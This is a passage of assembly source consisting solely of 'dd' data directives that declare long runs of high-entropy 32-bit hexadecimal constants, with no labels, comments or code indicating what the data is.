dd 0E8A2EC5Ch, 0AC956902h, 750EFB59h, 146E46B5h, 4468B6A1h
dd 8B95CA9h, 3396CC66h, 0C592CE6Bh, 6689DC06h, 63C5C463h
dd 0D49E90E9h, 4A1CF464h, 0EC3399B3h, 14A396D8h, 0B4051D99h
dd 0DBADCE1h, 0E6EDA1AFh, 0BF34F037h, 0FB80D36Bh, 0CA0D06D8h
dd 6F038451h, 0A0503BFEh, 3D028743h, 0B51D2E8Fh, 0E64321Eh
dd 99ECF1DDh, 0E23C0F07h, 34B1E8F1h, 0F4A37C5Eh, 9A4E09EAh
dd 0FC1388C4h, 0C3E7F2F8h, 3EF074AFh, 1E85FCC3h, 0FFE4A229h
dd 8867FBFh, 0FF80E038h, 231077D9h, 1F723209h, 0E23D0883h
dd 0A9042148h, 721C5E97h, 7E8831C4h, 0C8E1CA11h, 61F87E7Fh
dd 0F08F7FC8h, 6F17E231h, 1BC55438h, 0C2D18C63h, 0F1182D8Ah
dd 451017C5h, 1946C6D4h, 0F846565h, 0B0A45FFEh, 7C2C8EE3h
dd 5B118460h, 5982A908h, 2474791Fh, 0C1B11E92h, 386C6783h
dd 6F47E4E9h, 1BE258E4h, 0D0E1306Fh, 9388318h, 0C46C93DEh
dd 6C68E490h, 110315C0h, 0D2548D21h, 0D4AD2949h, 0CD314BD2h
dd 394DD354h, 3300C4EDh, 4F952148h, 61745F2Ah, 6CA59DE7h
dd 0A5520BA4h, 44DA41B4h, 4BB3FE80h, 0A3168656h, 142B8EC3h
dd 0B650E7C3h, 46D680B4h, 4BA9D95Bh, 0F0A9B85Ch, 4E909D62h
dd 232B95B5h, 0A6148A59h, 0A2762113h, 25214C47h, 25480D97h
dd 0B4AC1B67h, 67995665h, 0D66451B8h, 26985944h, 0B5AC6A5Dh
dd 0B1ABC516h, 6DEC3B0Ah, 0EC76EDA1h, 0E6FAC91Ah, 19C4731Ch
dd 0C2B05727h, 665C0115h, 5D4741CDh, 975DD01Ah, 0A4696B06h
dd 0B8684771h, 92C3C63Dh, 86C67C69h, 36E6B50Dh, 19198D1Ah
dd 3E07C1F1h, 0FA400F8h, 8298F02Ch, 90B6F2BCh, 23E8E6Fh
dd 10B2309h, 0FEA3CBDBh, 0A0842110h, 28271284h, 4610421Ch
dd 62A408FDh, 62DBBE37h
dd 0B8B446BEh, 0BE3653D1h, 590AA40Bh, 1482CBD5h, 45210441h
dd 0C17E30C0h, 0A8461742h, 2B8B06D0h, 0A82DCB2h, 45FC9C63h
dd 348D1256h, 8D5947A8h, 3A8EE391h, 11AF3A30h, 71609024h
dd 5626640Bh, 6E344663h, 0B70D9161h, 1AD8F44Dh, 81F0A831h
dd 0A0F85FC0h, 124318E2h, 70B242E9h, 909181B5h, 831A0E42h
dd 2993515Ch, 0A1264912h, 2E4B12A4h, 4D1324C1h, 13A4E136h
dd 0F558CC4Fh, 7CB63CCFh, 5B5201FCh, 89CA5331h, 1432A62Ah
dd 0E5B50E33h, 0A9432A91h, 0FFE0E552h, 180602A4h, 0EB0FB3Eh
dd 62E8BA57h, 204C2D95h, 0B6466485h, 348F956Ch, 59F5C4AEh
dd 0CE4F3B45h, 60BB2ED5h, 5129431Eh, 0A9182D9h, 4F950F9Eh
dd 5A9BA231h, 3D669216h, 92AB378Ah, 77AB4B05h, 0FC065FC1h
dd 4ADEC967h, 9C96AEA8h, 0AE749D76h, 59FE6EFDh, 367BD1F0h
dd 3EC7ADACh, 0CB63DBCDh, 0B02CD736h, 9CA722CFh, 1B55C3B4h
dd 6ADEB79Ch, 0ADB71ADBh, 0A10771DDh, 0AE80B973h, 0C0DAE597h
dd 14691646h, 0AC67EE61h, 8D9A2B8Ah, 3520B82Dh, 2F25FA8Eh
dd 981312Bh, 8FC1F2FCh, 93B265E0h, 3C64E519h, 84C89902h
dd 59AB3230h, 88240B6Ch, 0A6208B18h, 0C760D18h, 0D2F91966h
dd 0A4148046h, 6A80B60Eh, 8F42082Ch, 2EA53810h, 89062458h
dd 56CB12B9h, 0BC1602A6h, 21590580h, 0E65EF1D4h, 0C0A4AF83h
dd 12016067h, 8240A609h, 68C15431h, 465A404Ch, 1705B684h
dd 5C068654h, 0A8455563h, 0B5792306h, 7A8383C8h, 858A164Ch
dd 0C47995B6h, 1FF9722Ch, 0A686D048h, 0E6151B5h, 9B402003h
dd 0A0F3264h, 38072078h, 700780F0h, 0E01C0190h, 386707A0h
dd 404205C1h, 6584A332h, 62231E28h, 0A250DE0Bh, 1FE51C16h
dd 5D21B8B3h, 3185529Eh, 8021FEBCh, 2402923Ah, 2A946053h
dd 5A65ACEEh, 0CC4460C3h, 10D1A5E2h, 0E445830Ah, 10D89764h
dd 7A90987h, 4B88811h, 4A99532Ah, 95A26C4Dh, 26257CAEh
dd 4C4AD962h, 0B696AF28h, 6226DE54h, 0BE5ACBA9h, 809695F2h
dd 0B1312EA5h, 478A5A89h, 0E63CC695h, 4C196A25h, 96F2DE5Ah
dd 3425E9A6h, 6087A983h, 0BF9992E6h, 7B32A56Ch, 726DCDA5h
dd 8CCC3533h, 0A34D2DA5h, 0EB90F1BCh, 0C444A612h, 3C38B2B7h
dd 7F40D0CBh, 0A6CB9BD6h, 16A38844h, 605E5014h, 0F3E2039h
dd 0BE493018h, 43029FA0h, 66B0D120h, 0EBC12017h, 0A0C2F361h
dd 1892B246h, 604C4A4Ch, 3581492h, 2AD0A463h, 14916899h
dd 74557CDh, 0B4419661h, 610E1061h, 24769482h, 0E10A9184h
dd 9AC17667h, 34B454CEh, 86E43A2Eh, 59927831h, 31BFF38Eh
dd 5C62207Ch, 434BDB1Ch, 0F038D2F9h, 9072A794h, 0DA8220C3h
dd 0E2688108h, 99E912FEh, 4D22104h, 0E1682A03h, 0C754698Ch
dd 1826A3Ch, 4E64DC9Ch, 9C0D016h, 1A82103Ah, 2A290C96h
dd 4C8B40FAh, 0FCB50A57h, 49BD3163h, 92CCFCD6h, 93ED7918h
dd 416B5747h, 0B1765E15h, 62342E84h, 0BABBC9Ch, 5C57793Ch
dd 23238599h, 0C093D959h, 10F3D823h, 0DBCC96B6h, 99D81DD6h
dd 0EFD6C59Ch, 5F59D7B0h, 87778277h, 3A563834h, 0B24EE9A7h
dd 2411D246h, 8323CCDDh, 9011C171h, 7676AC23h, 82E97F4Dh
dd 0F7CAFAECh, 0A6CD592Dh, 4DAD9308h, 0AC4B4C65h, 39865ED9h
dd 0FAD6F881h, 0DBBD30A2h, 0E394C784h, 64B9AC99h, 98D9DB05h
dd 89A0B8B6h, 0F6B14099h, 0B3E51CAEh, 415C3BB9h, 83E8160Ah
dd 6B0BE6E8h, 3D01F5CEh, 0F4555E7h, 16A07262h, 4ABF57A3h
dd 8603B266h, 0BB3A4555h, 462CEDAh, 0FFDAD91h, 6E9D6B67h
dd 8529200Ah, 6B2D591Dh, 16D165DBh, 0C3302F8h, 0FE9394E2h
dd 8C8BABC6h, 1D7B240h, 2F29ED8Fh, 434E2B8Bh, 0E6319222h
dd 754C0A80h, 0AA0DBEAh, 89CDB9A7h, 2AD14001h, 0C7D64AC3h
dd 837230BDh, 0A487FE1Bh, 0D805968Ah, 440D917Eh, 74BC9170h
dd 0C2EC3564h, 227AE35h, 0F48E1109h, 689E02D1h, 6A084410h
dd 0A5FC0550h, 0AF689C8Fh, 668152B7h, 0FFD2F247h, 0A86BAD75h
dd 1D6AB23Dh, 1C23BCEBh, 89CA5801h, 0A7D01DC2h, 36E329DAh
dd 0CDF851B7h, 2DD3A074h, 49245173h, 64124E5Eh, 0D0972B66h
dd 0EB0B2F7Eh, 7D6A0EF3h, 0D8CE19A3h, 0A3D1B60Fh, 95A6B12Dh
dd 0B6DCED2Dh, 82C99839h, 19FCCE25h, 32E66CD7h, 62ED199Ch
dd 2D82E55Fh, 0F0BA174h, 0A07E793h, 3682DD2Dh, 9AF9BA57h
dd 361EBCA2h, 92517E5Eh, 4A798B68h, 0BA6B92C4h, 0D1D78929h
dd 40C88239h, 0F033B315h, 0C768A5DAh, 58978B81h, 0DD81A386h
dd 0AA5FBB4Bh, 884862EBh, 7266BBC9h, 93FE3122h, 878ED8D1h
dd 0E914D143h, 6B891923h, 0A4E30646h, 0C6488B6h, 1082C36Ah
dd 3454D0C2h, 131D1846h, 249CD396h, 65830270h, 148C578h
dd 90982169h, 4DE12A95h, 0EB80A517h, 3C0C46A0h, 11841036h
dd 1F1116D9h, 85405056h, 654CB5C6h, 194B64E2h, 18C4E2DAh
dd 1BB9C76Eh, 0FC829170h, 0C7812EBFh, 724E543Bh, 9B35BB37h
dd 0B2B651DFh, 0B4D663E8h, 0ED1DA3A0h, 0E03A46A4h, 3997C89Ah
dd 0C1A6D377h, 0DAB0334Ah, 3B55BFEDh, 8660372Dh, 0ADD1B2E3h
dd 0AC3CE077h, 0CE874D69h, 10C32725h, 0DA3F7CD6h, 0B3363708h
dd 61C58DB2h, 0A74206B5h, 905D08CCh, 4D272397h, 0A9552945h
dd 0D2940580h, 69380F75h, 4AA62A94h, 0CE087444h, 46189C78h
dd 554AC8AAh, 0F1CEB14Ah, 7A93A2B9h, 2A2C5F98h, 0A36FC51Ah
dd 294EF7C9h, 0DA2D6FDDh, 0E08DD847h, 0C6BCF913h, 27E8F6EEh
dd 0D1E3DAD5h, 5DC8AD3Ch, 1B64FEE3h, 2250B088h, 44AD2BA1h
dd 0F218CD08h, 0A4690D20h, 804D0C24h, 2D9C9BB0h, 64EF6837h
dd 0C0A82702h, 301AB756h, 4AB00E80h, 0C5A46C09h, 200242ECh
dd 5E6CAD37h, 41B64392h, 0D92B514Ah, 0FEF648F4h, 7A18CE92h
dd 2BB5985Fh, 6BDC5D69h, 983C82BBh, 5D293C35h, 0C296B9DEh
dd 6EF0CE17h, 81C9CFDAh, 1DC1557Eh, 5F19CEBh, 69ABF642h
dd 83421678h, 0E0ABE1C4h, 8D7E4F08h, 3DAF8E6Dh, 0E3C70CE7h
dd 0B0B98F2Eh, 917D2092h, 50103C6Fh, 7E750280h, 64DAF293h
dd 167EB871h, 6E2DC579h, 72331403h, 192B268Ah, 48CF22BCh
dd 0C5FB681Fh, 0D4747D20h, 0B8229B9Bh, 6F903FD2h, 0EE112B80h
dd 0B379761Ah, 55CDFE08h, 9011CFD1h, 0BD1E6DFDh, 0E93A80B9h
dd 2207816h, 131E6024h, 0F095423Ch, 0C445BAC1h, 0DA9BD58Bh
dd 298B1FF5h, 18B489C6h, 5DCAA0BBh, 70D74FE9h, 0D0C5FE8Dh
dd 0C45C8D3h, 4500F0FEh, 0AC349DE4h, 4B0184Dh, 3B49B9B3h
dd 30DD1B3Ch, 0C06C0640h, 85B51B4h, 55FFDE2Ch, 14BCC611h
dd 93C5C80Fh, 5DC81C4h, 0C629CF60h, 915AF1E9h, 8DA65AC8h
dd 1E79E91Eh, 8D1DC0BBh, 0B5B09DB0h, 4679EB9Eh, 0ECDEF9ECh
dd 0D5EFCAF5h, 601C725Eh, 0F31EE465h, 5DEC1C2Ch, 0E1541B8Bh
dd 68477215h, 0B17F5EA0h, 1F3DEB9Dh, 0F316B5F4h, 6DF659D9h
dd 0DF71EEDCh, 1D810DF3h, 8D9FE1B2h, 1407661h, 9B56DC19h
dd 3C651135h, 5F81CBD9h, 0D4DA09F2h, 51A1D088h, 0C0A9799Ah
dd 0D148C8D0h, 0E08B9E80h, 4C04C008h, 2625541h, 1E8DFA5h
dd 8A0C5F09h, 0FF508061h, 0C2249260h, 94162588h, 1BDE6C5Dh
dd 0D1508FCh, 0C0B84694h, 288FCE14h, 6DE6885Dh, 90C9B69Eh
dd 475E9C46h, 1176DAC8h, 62D5079Dh, 0F58BB22Dh, 90BB6138h
dd 4780B8C6h, 0B180B871h, 241E5DEDh, 553E0B1Bh, 0FE5E0D54h
dd 5620C955h, 78109049h, 42281F08h, 7FA35C42h, 1041041Ch
dd 87A531D5h, 40C22026h
dd 30240410h, 0C8384142h, 2A236C7Dh, 192D530Dh, 638884D5h
dd 81C835B9h, 123887B4h, 0C2404095h, 50485237h, 71669679h
dd 4F4496CDh, 0C2E159EFh, 0C21DC05h, 651EDD7h, 1F5370B7h
dd 961921BEh, 5CC1DE1h, 45CF581Bh, 0F9F18618h, 6451C7D9h
dd 0C2E42DC7h, 0CE1E1C6Dh, 8125F496h, 9AD9FE45h, 0BA1F1C29h
dd 8B116241h, 0F3D9C1F2h, 0C40D86D8h, 4D25E900h, 2D4C75ACh
dd 0A8CD5A62h, 1D04C795h, 0E8D755A5h, 0E0CAC8A9h, 122607CAh
dd 204BE909h, 0F0D5E4D9h, 0CB5D18Bh, 269171B0h, 8897092Dh
dd 4155DC92h, 4CDE722Ch, 0DA118AE2h, 5A898B5Bh, 0BDE4BD72h
dd 6A1A5AF5h, 0D8209265h, 68231208h, 2434A31Dh, 17810A3h
dd 1AA0B401h, 649CE0C1h, 8075B480h, 1280765Bh, 5102D3F8h
dd 6905F10h, 99FE1468h, 0AC53C5ADh, 2177CCE9h, 416C5D90h
dd 0FB8F45B8h, 0F046DE78h, 0D58BF25h, 271E98BCh, 0BDBE9F11h
dd 0CF056954h, 15E4023Fh, 0DA40D36Ah, 4650ABDEh, 16076011h
dd 0C5C299D2h, 615A18DEh, 5CC6B4AFh, 70BADAECh, 46BC5C52h
dd 739CC245h, 3473E184h, 5F3A1C9Fh, 1D86C1CBh, 0D61E1F6Eh
dd 6AC1B86h, 32875E18h, 612E1359h, 0D308F293h, 6592DD2Eh
dd 5A6FD335h, 23715182h, 3D23D932h, 0E36DB96h, 88348244h
dd 74273C23h, 2882A74Eh, 2363688h, 2B52D92Ah, 3882E385h
dd 0E77C2542h, 78442674h, 9239C7FEh, 2212A23h, 2952A276h
dd 28236381h, 87DC4120h, 39274678h, 2A764242h, 0A3B52A4Fh
dd 74E75A38h, 1C4123CAh, 23BA3D53h, 24280680h, 5C1E1294h
dd 41447881h, 21018CB2h, 8C0EDDECh, 25A25994h, 4ECDC43Ah
dd 25B233Ch, 128C285h, 94D1F10Ah, 4DD61A40h, 40B9F78Fh
dd 57A0FE15h, 231B68C4h, 794A9451h, 988C1AC4h, 0C4065646h
dd 0D8961DC1h, 88C1D405h, 5EE4EE26h, 214A0465h, 14E5DC4Dh
dd 0C65BF893h, 64B6D375h, 8F7D62C1h, 0AF81B865h, 1C2D638h
dd 46FC7687h, 140B75C0h, 1E302275h, 8F485C89h, 944FE694h
dd 4C6981A6h, 19D9C799h, 6E8F88B5h, 28AD4AC5h, 0DCA41147h
dd 6626C410h, 501B8190h, 1421ED6h, 654F08B5h, 0A1C1964Ch
dd 9CB1700Fh, 738B786Fh, 0B2951640h, 877A94CAh, 814488B1h
dd 69088CB5h, 93C9A69Ah, 0CC17948Ch, 80658FB4h, 1ADD5F46h
dd 269A308Eh, 0C5A6EA0Ah, 0DD7CC00Bh, 680D9515h, 6A5E9139h
dd 0D025590h, 98A60090h, 0C6D5F74h, 62E1E9A6h, 26017DCEh
dd 250E0D26h, 8D21F12Ah, 4E460D07h, 2844CD91h, 0C31434A8h
dd 1480E80Eh, 3E59C0E4h, 0C4E28495h, 56004A5Ah, 5124A0D5h
dd 0BE50050h, 0AC8D915Ch, 39F4A1D8h, 8BC8BED1h, 5775B6FEh
dd 0D3491172h, 561DE984h, 0CFFE19C6h, 8C4C498Eh, 0B226C8C6h
dd 0E4B2B51Dh, 0D09414BBh, 68D24D08h, 0C77A3F54h, 1DD6A879h
dd 152DC788h, 0D6C53A5Ch, 0F959C8EFh, 6CF94F30h, 0D3729A0Fh
dd 6ED17E8Fh, 14920BB0h, 0A9459897h, 0B981E0AEh, 49F75626h
dd 4668F0CBh, 975A0641h, 0C9CC249Eh, 6BF86799h, 6799F9EDh
dd 0E46656BCh, 8B7A179Eh, 1B99F065h, 806FCB32h, 0DC559BDCh
dd 9EC67872h, 588D068Ah, 0AA01D4E5h, 0AD5775A6h, 0ADC80F65h
dd 9A6E2424h, 896C8A88h, 5E86D152h, 8FD1114Dh, 8211368Ah
dd 65279722h, 0D620045h, 8AA8A491h, 0ECB259DEh, 0A0649158h
dd 755A3C8Ah, 0B85B6521h, 9C45BD8Fh, 27182197h, 1AAB80F1h
dd 0C39A82E3h, 0ADEAD6ACh, 0D03BCDBEh, 40EC0A04h, 1D11B80Eh
dd 680F40F5h, 148C0880h, 79D150BEh, 0A5115FCDh, 0E6CEB40Bh
dd 8A00DA98h, 0C9BCE10Ch, 0FE85B85Bh, 4141F5E9h, 119169CAh
dd 8E8C1FEEh, 0D2808AD7h, 20C99493h, 0C886653Ch, 129C4101h
dd 15C15D2Ah, 5D3227D8h, 13413402h, 2B930D2Fh, 4D32E701h
dd 6E35352Eh, 2B12A12Fh, 9D2A5341h, 0EE5939D3h, 6F67066Eh
dd 552F2E3Ah, 12CD2E6Eh, 35D2FE6Fh, 0F1381345h, 15D2D92h
dd 7A539E3Bh, 396A9700h, 1C36911Fh, 21C70137h, 0BDF65F30h
dd 6C24821h, 5DEC11F3h, 217B4D42h, 0A9F9FF21h, 265A65A5h
dd 8DF71985h, 2244D4A6h, 0CBA12973h, 0C08FD8A6h, 0EDAEDA95h
dd 0BF2CDE98h, 697DC130h, 660D31Ah, 54EB4ADBh, 5D064CBEh
dd 0A4ECC5ABh, 0AA4D9969h, 391768E2h, 0E0281389h, 0D4C23D38h
dd 2C1044A6h, 0EAE58463h, 0D185A33h, 1248086h, 1A58C44Dh
dd 0F7EB14D3h, 16500E96h, 0EF745DAFh, 1DADD410h, 0B6938B02h
dd 949A88Bh, 0FFE8D2B0h, 7CC68454h, 30540940h, 8FF05557h
dd 7C1540A8h, 52FE4416h, 0AB9E8A44h, 0F34B7878h, 40B78F34h
dd 5F78F956h, 70699DC5h, 0F6BF294Ch, 8B7EC32Bh, 938F1478h
dd 0C1D64D92h, 0A134F159h, 0FAC44E54h, 0D0ACEBC8h, 1DB811C0h
dd 732ECABFh, 88681C70h, 0D5FEA50Bh, 10016DD2h, 0CFDEB3Ch
dd 6AA6DF1h, 0EEE6AE42h, 0D0752186h, 2F7A6CD9h, 0DD7166DBh
dd 36A1DC72h, 62430C8Dh, 0FD6CBAF1h, 42A15FF5h, 498DF886h
dd 0D5940CC7h, 34992B0Ch, 0A88D8BE5h, 8AADA579h, 8C117166h
dd 0DBAEB29Fh, 0A89BC495h, 0BA8A6601h, 0EDDADD41h, 6CB1AA7h
dd 4807D066h, 6D24CB97h, 0D32A5294h, 69811E9Eh, 30F80C52h
dd 0DAEAC010h, 41DFC128h, 0D54CDC68h, 4C04A33h, 7956806Ch
dd 9D910105h, 0FD1FE5CFh, 0E9AB10Ch, 50B81647h, 16539D9h
dd 69CF9E65h, 0C1654BDBh, 76ADD46Fh, 76C78114h, 0AF3A0549h
dd 0E94E72D9h, 0F4C0579Dh, 0B1AD2453h, 0B29DB980h, 681B8B08h
dd 1DC3FE66h, 46B59516h, 0ACAC2011h, 1DEC218Ch, 0C73E96A9h
dd 1DD639EFh, 70F19690h, 162C1ACDh, 0CE6A2221h, 654BE070h
dd 0DC599DA9h, 93644B0Fh, 7EBC4FD5h, 0C67315E6h, 0C4E9299h
dd 931F1CFCh, 9EFC6FE9h, 0F39EC936h, 0D870010Dh, 615A9233h
dd 0DB33EF16h, 39F6DF5Eh, 87262B19h, 0E468DAD2h, 669FEF15h
dd 0D6CC6DAh, 0DD9DE66h, 0ACCED5CBh, 907D27C8h, 912F1459h
dd 0B31CCD90h, 0CD4F1D6Dh, 0E49FF205h, 0D8144459h, 0EA7F0221h
dd 1A5170BAh, 64BCECB3h, 0A934A644h, 8F8D2304h, 523EEB51h
dd 0A31B0FABh, 0B2E0A9DEh, 0D68451A5h, 0D85684C4h, 0C35B4F26h
dd 31CF40F8h, 0D4809001h, 0AB117AB2h, 60455C0Ch, 148011AAh
dd 57C8881Fh, 0AC07CBE4h, 1CB62B0Ch, 5FC45EF8h, 250648D5h
dd 0E2322334h, 414D0AB7h, 550D0095h, 41280540h, 4400B186h
dd 0D8452690h, 0A6471646h, 700741EFh, 0CF0A3150h, 39CA46FEh
dd 3020B5F3h, 0C2E1DB3Fh, 0E5ED9929h, 810E2106h, 0F3471647h
dd 0D1DD20EAh, 0B535B2Eh, 6970FCB0h, 2EBBE419h, 0B3DB3F9Ch
dd 9911386Ch, 0D01B5014h, 0B3C5C74Fh, 0ECA6DE99h, 0C46AB141h
dd 0DEFB65B3h, 3F1CA21Bh, 271F9EEFh, 0B1172D29h, 0B95A5EBh
dd 0CF1E600Dh, 0B1B8439Bh, 0D186276Ah, 0B0BA4A0Dh, 1C40D396h
dd 8C08B509h, 0B9BB98DDh, 95DFB9Bh, 39893811h, 0CF29E1BFh
dd 9CF895DBh, 0BAF2B423h, 4E8A41B5h, 0A425F5CBh, 988680B9h
dd 0A58EDB0Ch, 0B21D3CB1h, 0B9171493h, 77741BE0h, 0A4F1FE49h
dd 11D13093h, 0CC16C100h, 81501A34h, 179E01B2h, 655574DCh
dd 586326F2h, 88888C0Ah, 50948238h, 98D083C2h, 92CFC728h
dd 0C85D4D94h, 23D22D0h, 1D825080h, 481F01D8h, 0B2BD1109h
dd 300D98F4h, 0B71EB1BEh, 0CC6C9080h, 414D0C07h, 840BF2F5h
dd 81841840h, 23CBE010h, 0FE44EF9Eh, 4B5C4B08h, 360F5AE6h
dd 6A247875h, 0C6159C26h, 0A1C970E1h, 20664475h, 0E9F786A4h
dd 4AC6900Fh, 29EDDE1Dh
dd 0CF4F847Fh, 81100B5Fh, 339C7013h, 1470E6B7h, 0D9319336h
dd 4261C8ABh, 7CB0ADD6h, 2D25BBB1h, 42299699h, 69C7768Ah
dd 75AB64E4h, 16019076h, 0B5BE1DFh, 0E444E917h, 0CE1ADD8Fh
dd 7C8CA9FDh, 2FF66150h, 5D8CA88Eh, 813B593Eh, 0B187976Ch
dd 10CBBDCFh, 28FE8D6Eh, 542751D6h, 25088F52h, 13DC88Ch
dd 0F47EFFD4h, 488FBADDh, 9D12045Ch, 9B070154h, 93DF0CF5h
dd 0E9900156h, 0D9301446h, 0A420016h, 0D012B78Eh, 6FD89BAFh
dd 0C1B7ADB4h, 537FC108h, 0F98AC2h, 0BCEB2E79h, 30A11BBDh
dd 0CC4EC22h, 7F88077Fh, 0D41F3803h, 0D5A11157h, 0C4AB51A9h
dd 0A5076615h, 490807F1h, 838BC383h, 1B2F5A27h, 0AD8C088Ch
dd 794BF85h, 0F444C11Eh, 0CB078F78h, 744748FDh, 88FEE1F0h
dd 0BA18E927h, 247698C1h, 0B5DC27B2h, 5794FB10h, 0DC9E18C6h
dd 6C0205ECh, 8B43409h, 0ADB78BCBh, 94A8C0D4h, 6B8DEA14h
dd 6188750Fh, 6CF8F913h, 0D218267Ch, 13A86D99h, 0FE047469h
dd 37458139h, 5C738E33h, 3746B38Ah, 0EC757149h, 4B53682Eh
dd 6A249466h, 0ED09662h, 749A535Bh, 6E76AE51h, 0BF6BA04Fh
dd 601F0D36h, 47926C93h, 0ABC136ACh, 0C7EC1332h, 35C94A35h
dd 25478132h, 40F160A5h, 0CBC0DA8Ah, 701BCCBCh, 77FC8008h
dd 112CCB80h, 0D59A8930h, 897F208Ah, 233C3656h, 0DBCB1BE3h
dd 4860155Bh, 0D9471C44h, 8D930124h, 439BA201h, 0A2C1080Eh
dd 0D89BF79Bh, 0C9CFCF84h, 8AD8404h, 801080C0h, 0C2501F81h
dd 0C760380Ah, 0DE7C4873h, 0C7B42547h, 23680E7Ch, 0EC7A820Ch
dd 887C2287h, 87825080h, 4824E790h, 6E62E17Dh, 42C7B238h
dd 8BD74238h, 0E0314FE3h, 0C6C8A895h, 5B17FE2Ch, 4CC18C05h
dd 17638578h, 93198F51h, 0B361BAEDh, 74AECB8h, 91F67387h
dd 73671F57h, 4747B5B1h, 0EE5C9A1Fh, 97186DEh, 8667DF57h
dd 8D0D3B3Fh, 0F0A0DD10h, 0F5B76540h, 0AD8712EEh, 0A6661F18h
dd 0E91E9241h, 17D93FB4h, 980AFBA9h, 9D676F48h, 1A4661C5h
dd 48AF0260h, 0DC7AC307h, 6C0B4D95h, 646FD64Dh, 709DEF4Bh
dd 64472CB5h, 0A4FBF955h, 0CBB4FCCBh, 2A34908Ah, 0D108974Ah
dd 64B3A6B7h, 5F189C56h, 3A01B80Eh, 0B9E7A159h, 5072EF04h
dd 0FC0AF1AEh, 0C7F81DB7h, 7FFC7650h, 0D018DFB4h, 5DC15C58h
dd 0A7C18C8Dh, 0F77FFD67h, 94D7A8C1h, 68C98843h, 78A12082h
dd 507AF359h, 8D9E96A2h, 7CCACCBAh, 7A6C1016h, 0D2FC2D17h
dd 441000B5h, 13B41241h, 14D93231h, 0EE0A40ECh, 10A44000h
dd 10066A2h, 789E4F2Fh, 0C22EF751h, 210F0602h, 81B09832h
dd 210E89E2h, 0F160A630h, 0C6CBE5FEh, 7E342915h, 4583E1F1h
dd 502D9149h, 40950AAh, 1F2A8C48h, 0E9014858h, 160AC563h
dd 0F07CDE3Eh, 90C6461h, 4DA5595h, 8B62A955h, 8C631511h
dd 14B94524h, 1F235269h, 30F89290h, 92D4EA95h, 10BC5E2Ch
dd 0A474422h, 0F0622D1Fh, 0AC8361E0h, 0D02E358Dh, 86B175A6h
dd 782C966Dh, 0AB8DC52Ch, 0BA5D6E87h, 0C1E90E87h, 5B8D287Bh
dd 470051BFh, 0F0983349h, 8A6E43E0h, 2773BE10h, 75C4E0CBh
dd 6439A6F7h, 0B50D8F09h, 0B166C96Ah, 146DC341h, 0F0785B7h
dd 0CA245219h, 8C2A189Ah, 92891C8Ch, 92D01108h, 5B3E6B41h
dd 22E17336h, 71E9026Eh, 667006E3h, 0B74C59BFh, 0CBE3E169h
dd 0D8831698h, 5783BF00h, 0CF4DA5AEh, 0D4DF47A1h, 0B8753A9Ch
dd 0BF539FCDh, 23511DB4h, 5D1BDDEFh, 5269046Ah, 268F49F9h
dd 0FEAF5239h, 0EEF72511h, 0AF9233D5h, 4D7D7E89h, 924121F2h
dd 0FE7D68CFh, 0B7D54BFEh, 0FB3B6E7Bh, 0BDE473EEh, 903BDA47h
dd 2898F50Fh, 0D64A40C4h, 0F591E4ABh, 3F24611Ch, 64991A48h
dd 891A4190h, 0FC3F3CE3h, 3B0FC430h, 4483B128h, 6474104Ah
dd 0E110EF92h, 60EF3C4Eh, 23C30C4h, 0BCD0BBEBh, 6FCBE2F4h
dd 41210B92h, 0D8F34744h, 4990A47Bh, 33C358D8h, 2708836h
dd 0B8C623B0h, 76691A41h, 83208810h, 21885210h, 20622287h
dd 0A4B80983h, 428B0368h, 8D85E290h, 882212AEh, 0D524A20h
dd 303E1624h, 0DA152962h, 0E1CE4188h, 2689A8F8h, 81507D3Bh
dd 20B61204h, 5C1505A1h, 0A94FAA1Ah, 0CDCAA2AAh, 0EA729A16h
dd 1D0AA78Dh, 40162AE9h, 928428C2h, 881683Eh, 0CB3D3036h
dd 0A3693905h, 0FCDF05CDh, 0B95443C2h, 334D7AF0h, 0C1B0681Ah
dd 0A0A21B2Dh, 1AC233C1h, 0CFB06D7Bh, 306BAB08h, 62CD4551h
dd 0E5374D2Dh, 3ADFD574h, 6188AB2Dh, 0A5C1E0B3h, 40FE98A5h
dd 0FB4B8AA9h, 0CB362DFAh, 63392D0h, 1E06CB4h, 1B76D00Fh
dd 0B6CF88B6h, 0E105D55Dh, 0C631A46h, 0E23AD2A0h, 1ADEDE88h
dd 4F5C5715h, 0CE33354Dh, 0AD023B02h, 0F66B02B3h, 557ACD37h
dd 5417080Bh, 2E8BAA92h, 27431A9Ch, 429052E2h, 6ABEAF26h
dd 794C48A3h, 38E1C270h, 8DA16888h, 0E940AA2Ah, 98AA168Dh
dd 3EB30D76h, 0B45A6B35h, 63618A82h, 8E1862B2h, 58F88E23h
dd 0C57F8BF3h, 158DE16Dh, 7C37B56h, 0C9189826h, 4CE0A1CDh
dd 20230DABh, 14A688D5h, 8C736CECh, 5380B62Dh, 4A8389CEh
dd 0DA20695Ah, 8D5F18D8h, 3ED434Dh, 0FAA8F891h, 9280E30Dh
dd 2965DA56h, 380C7656h, 0DE4200DBh, 22608818h, 79002EADh
dd 6290772h, 84A0E82Ah, 160A216h, 20E0392Ch, 0E8240CA2h
dd 94138352h, 8385F830h, 0CCC3084Fh, 22120583h, 90DE2F85h
dd 93C40579h, 1D056265h, 53132B8h, 0B44CFE1Dh, 79715C43h
dd 0FE6A942h, 0F3C128BAh, 0F31AB347h, 2F48D526h, 4FD3F429h
dd 0D1525497h, 4F59C66Fh, 0A9FF5C9Fh, 0A76838B5h, 6338863Dh
dd 0B10D94C0h, 0DA0B1778h, 6B3ACD79h, 1333DF63h, 0C3E3EB4Bh
dd 0DD0795C2h, 762D3D31h, 13957A95h, 67981753h, 0A3542CA3h
dd 36A50155h, 0DA9529Dh, 0AB66361Eh, 70D9DEDAh, 94A18801h
dd 0DF777696h, 2D35E2C8h, 1CE6A569h, 627C2360h, 55EC2589h
dd 5110EE5Dh, 0D776111h, 16C08E1Ah, 6816417h, 144D1045h
dd 153E708Eh, 8955C100h, 0CE0D8CD1h, 155EBE25h, 21445F49h
dd 973253C1h, 0A0A5979Ah, 4293060Fh, 82D2BC08h, 0D7020B5h
dd 2682B970h, 3F872120h, 2864A6B5h, 84A7D389h, 74369B27h
dd 105B080Ch, 0C0A268DBh, 0C98C982Fh, 831A6426h, 6D04809h
dd 2A1069EDh, 6A416A95h, 0A1A7024Eh, 2506C5ACh, 6C1F01F3h
dd 0B59B2776h, 0CAE24F80h, 86B1D8FEh, 0D9A492C2h, 2AC30D6Fh
dd 0B32C664Dh, 0A0BC2FB3h, 0C3E07672h, 3BF5F6D5h, 790B18B4h
dd 0E38A1C59h, 12040048h, 0E60D00BCh, 84DAC760h, 50020580h
